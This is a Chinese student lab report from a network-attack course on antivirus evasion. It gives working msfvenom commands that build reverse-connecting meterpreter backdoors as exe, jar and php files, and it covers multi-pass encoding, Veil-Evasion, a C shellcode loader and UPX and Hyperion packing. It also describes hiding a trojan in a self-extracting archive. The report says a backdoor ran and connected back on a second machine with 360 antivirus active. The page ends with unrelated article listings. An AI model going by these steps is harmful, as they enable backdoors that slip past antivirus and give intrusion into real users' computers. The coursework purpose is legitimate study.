2018-2019 Exp3 免杀原理与实践
2018-2019 Exp3 免杀原理与实践
目录
- Task1 1.使用msf编码器生成后门程序及检测
- Task1 2.msfvenom生成jar等文件
- Task1 3.veil-evasion
- Task1 4.用shellcode编程
- Task 2 通过组合应用各种技术实现恶意代码免杀
- Task 3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
一、实验内容说明及基础问题回答
****
1、实验内容
(1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)
(2)通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
2、基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测
- 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
- AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
- 优点:检测效率高、能精确检测恶意软件类型和具体名称。
- 缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
启发式恶意软件检测
- 根据些片面特征去推断。通常是因为缺乏精确判定依据。
- 优点:可以检测0-day恶意软件;具有一定通用性
- 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
基于行为的恶意软件检测
- 基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
- 优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
- 缺点:可能误报、不能识别病毒名称、实现时有一定难度。
(2)免杀是做什么?
- 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
(3)免杀的基本方法有哪些?
变形特征码:
- 只有EXE:
- 加壳:压缩壳 加密壳
- 有shellcode:encode编码、payload重新编译
- 有源代码:翻译成其他语言
改变通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 改变操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
非常规免杀方法:使用社工类攻击、纯手工打造一个恶意软件等等。
返回目录
二、实验过程
Task1 1.使用msf编码器生成后门程序及检测
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。
- 将其放在virscan.org中进行扫描,结果如下图所示:
2、尝试用msf编码器对后门程序进行一次到多次的编码
- 一次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.116.128 LPORT=5226 -f exe > met-encoded.exe
其中-e
为编码 - 十次编码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.116.128 LPORT=5226 -f exe > met-encoded10.exe
其中-i
为指定编码个数
- 编码十次后产生可执行文件
- 将编码十次的可执行文件进行扫描,结果如下:
Task1 2.msfvenom生成jar等文件
- 生成Java后门程序使用命令:`msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.116.128 lport=5226 x> 20165226_backdoor_java.jar`
- msfvenom生成php文件:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.116.128 lport=5226 x> 20165226_backdoor.php
Task1 3.veil-evasion
- Veil-Evasion安装。Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:`sudo apt-get install veil-evasion` **`注意此处请下载veil-evasion,不然之后会有各种bug,想感受一下错误具体内容的同学可以直接veil,当然如果没报错那更好`**
- 一路点击`nexxt`,把需要多选的全选上
- 最后会显示`Done!`,则安装成功
- 输入
veil
启用veil
- 接着输入
use evasion
进入veil-evasion
用C语言重写meterperter
use c/meterpreter/rev_tcp.py
设置反弹连接IP及端口,注意此处IP是kaliIP
输入
generate
生成文件
- 输入playload文件名字
到
/var/lib/veil/output/compiled/playload5226.exe
这个路径下找我们生成的exe文件,或者直接cp -r /var/lib/veil/output/compiled/playload5226.exe ~/20165226/exp3
把生成的文件复制到我们熟悉的路径下。传回主机时被截获
- 使用virscan对文件进行扫描
Task1 4.用shellcode编程
- msfvenom生成shellcode:`msfvenom -p windows/meterpreter/reverse_http lhost=192.168.116.128 lport=5226 -f c`
- 创建一个文件
20165226.c
,然后将unsigned char buf[]
赋值到其中
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
。。。。。。
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令
i686-w64-mingw32-g++ 20165226.c -o 20165226.exe
编译.c文件为可执行文件
- 将文件进行virscan
- 将之前的半手工打造的shellcode复制命名为
lxs.exe
,进行加壳upx lxs.exe -o lxs_upxed.exe
- 扫描结果为16/49
- 再进行加密壳Hyperion
- 将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 - 进入目录
/usr/share/windows-binaries/hyperion/
中 - 输入
wine hyperion.exe -v lxs_upxed.exe lxs_upxed_Hyperion.exe
- 将上一个生成的文件拷贝到
Task 2 通过组合应用各种技术实现恶意代码免杀
- 通过shellcode+UPX加壳实现免杀
- 尝试自解压捆绑木马
将要捆绑的文件放在同一个文件夹下,右击选择“添加到压缩文件”
设置压缩参数。起一个名字(如:网络对抗),并在压缩选项中勾选上“创建自解压格式压缩文件”复选框
切换至“高级”选项卡,点击“自解压选项”,选中“模式”中的“全部隐藏”并确定
再打开“文本和图标”选项卡,填写“自解压文件窗口标题”和“自解压文件窗口中显示的文本”,并找一个图标作为这个自解压文件的图标
放到virscan.org试一下,由32%降为30%,其实并没有太大改善
Task 3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 采用360(11.5.0.2001)
- 用电脑测试回连成功(访问对方电脑:c盘下的锦年)
四、问题与思考
- 问题1:在用msf编辑器对后门程序进行过多次编码时出现错误
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190326163602083-800530783.png)
问题1解决方案:由图可知,编译产生了
0x20
,当出现0
时表示截止,可能是编译次数太多,因此将26次改成10次,再运行,编译成功
问题2:输入
sudo ./setup.sh -c
后,显示如下后编不再有任何操作更新,20分钟后仍无
问题2解决方案:之前是
git clone
的veil,然后我直接通过命令行sudo apt-get install veil-evasion
在线下载,用了近一个半小时但下载后原虚拟机自动重启,然后一直黑屏,再次重启也无法打开,于是重新拷了一台虚拟机,再次重复操作。问题3:下载后进行安装时,一路next后,最后报错
问题3解决方案:输入
/ust/share/veil/config/setup.sh
再次进入安装问题4:重新安装后出现
could not load wine-gecko
的错误
问题4解决方案:通过查找资料,解决方案如下
输入以下代码
$ mkdir -p ~/.cache/wine
$ cd ~/.cache/wine
$ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
$ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
然后返回主目录,再次输入/usr/share/veil/config/setup.sh
进行安装,成功
问题5:kali中无法进行内容及文件的复制粘贴,重新安装了vmtools仍不能拖拽(复制粘贴)文件
问题5解决方案:通过查找资料,使用以下方法
- 输入
apt-get install open-vm-tools-desktop fuse
安装open-vm-tools
- 输入
vi /etc/apt/sources.list
,打开后把deb http://mirrors.tuna.tsinghua.edu.cn/kali/ kali-rolling contrib main non-free
(清华的源)加进去,再将kali的源注释掉(首行加#
) - 更新系统和软件:
apt-get update && apt-get upgrade
- 安装
vmtools
:apt-get install open-vm-tools-desktop fuse
- 重启(reboot)
- 输入
问题6:扫描文件时出现以下问题
- 问题6解决方案:按要求将名字更改为
lxs.exe
即可
2018-2019 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践
2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- Exp3 免杀原理与实践 20164303 景圣
Exp3 免杀原理与实践 一.实验内容 1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 2. 通过组合 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 20155223 Exp3 免杀原理与实践 实验报告
20155223 Exp3 免杀原理与实践 实验报告 实验前准备 安装Veil-Evasion 直接使用Kali快速安装命令,拒绝采用git安装命令 apt-get -y install veil-e ...
- 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践
#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
随机推荐
- Ubuntu中使用WPS
ubunu系统下用WPS办公软件比较好,比较兼容MS office, ubuntu下WPS相关命令有:et,wps,wpp. 使用Ctrl+Alt+T打开命令端, "et"命令可以 ...
- Linux内核分析-分析system_call中断处理过程
姓名:江军 ID:fuchen1994 分析system_call中断处理过程 使用gdb跟踪分析一个系统调用内核函数(您上周选择那一个系统调用),系统调用列表参见http://codelab.shi ...
- 第三视角团队:项目UML设计(团队)
项目UML设计(团队) 团队信息 团队名:第三视角 各成员学号及姓名 姓名 学号 博客链接 张扬(组长) 031602345 http://www.cnblogs.com/sxZhangYang/p/ ...
- DevExpress v17.2新版亮点—Windows 10篇
用户界面套包DevExpress v17.2日前终于正式发布,本站将以连载的形式为大家介绍各版本新增内容.本文将介绍了Windows 10 Controls v17.2 的新功能,快来下载试用新版本! ...
- 源代码管理:SVN源代码管理器在ASP.NET VS中的使用注意事项
一共有三个软件 1.ASP.NET下SVN有三个是不受管理的,bin文件夹,obj文件夹,.user类型文件,位置在TortoiseSVN的Settings下面的Subversion下的[Global ...
- python Gevent – 高性能的Python并发框架
话说gevent也没个logo啥的,于是就摆了这张图= =|||,首先这是一种叫做greenlet的鸟,而在python里,按照官方解释greenlet是轻量级的并行编程,而gevent呢,就是利用g ...
- HDU 1588 Gauss Fibonacci(矩阵快速幂)
Gauss Fibonacci Time Limit: 3000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) ...
- HDU 4240
http://acm.hdu.edu.cn/showproblem.php?pid=4240 题意:求最大流和流量最大的一条路径的流量的比值 题解:流量最大的路径的流量在dinic的dfs每次搜到终点 ...
- C高级第三次作业(1)
6-1 输出月份英文名 1.设计思路: 1.定义一个字符串数组将12个月的英文加进去: 2.判断输入的数是否大于等于1小于等于12: 3.若是 则返还s[n-1]; 4.否则返还NULL: 源代码: ...
- BZOJ4899: 记忆的轮廓【概率期望DP】【决策单调性优化DP】
Description 通往贤者之塔的路上,有许多的危机. 我们可以把这个地形看做是一颗树,根节点编号为1,目标节点编号为n,其中1-n的简单路径上,编号依次递增, 在[1,n]中,一共有n个节点.我 ...